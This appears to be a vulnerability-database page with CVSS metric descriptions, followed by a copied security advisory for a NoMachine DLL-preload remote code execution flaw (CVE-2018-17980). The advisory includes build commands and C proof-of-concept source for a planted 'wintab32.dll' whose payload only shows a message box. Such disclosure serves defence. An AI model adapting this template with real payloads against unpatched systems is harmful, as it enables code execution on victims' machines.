The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: NoMachine < 5.3.27 Remote Code Execution
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/NOMACHINE-TROJAN-FILE-REMOTE-CODE-EXECUTION.txt
[+] ISR: ApparitionSec
Greetz: ***Greetz: indoushka | Eduardo ***
[Vendor]
www.nomachine.com
[Product]
NoMachine <= v5.3.26
NX technology, developed by NoMachine, and commonly known as "NX" is a proprietary computer program that provides desktop and remote access.
It consists of a suite of products for desktop virtualization and application delivery for servers, and client software.
[Vulnerability Type]
Trojan File Remote Code Execution
[Affected Component]
wintab32.dll
[CVE Reference]
CVE-2018-17980
[Security Issue]
Possible arbitrary code execution when opening a ".nxs" nomachine file type on client's wintab32.dll preload.
This issue regards the client part of all NoMachine installations on Windows (NoMachine free, NoMachine Enterprise Client, NoMachine Enteprise Desktop and NoMachine Cloud Server).
1) create a 32 bit DLL named "wintab32.dll"
2) create an native nomachine ".NXS" file and open it alongside the trojan "wintab32.dll" DLL from Network share or any dir.
BOOM!
[References]
https://www.nomachine.com/TR10P08887
[Exploit/POC]
#include <windows.h>
/* hyp3rlinx */
/*
gcc -c -m32 wintab32.c
gcc -shared -m32 -o wintab32.dll wintab32.o
*/
void executo(){
MessageBox( 0, "3c184981367094fce3ab70efc3b44583" , ":)" , MB_YESNO + MB_ICONQUESTION );
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){
switch(fdwReason){
case DLL_PROCESS_ATTACH:{
executo();
break;
}
case DLL_PROCESS_DETACH:{
executo();
break;
}
case DLL_THREAD_ATTACH:{
executo();
break;
}
case DLL_THREAD_DETACH:{
executo();
break;
}
}
return TRUE;
}
[Network Access]
Remote
[Severity]
High
[Disclosure Timeline]
Vendor Notification: September 26, 2018
Vendor verified vulnerability: September 28, 2018
CVE assigned by Mitre: October 4, 2018
Vendor release fixed version: October 11, 2018
October 11, 2018 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx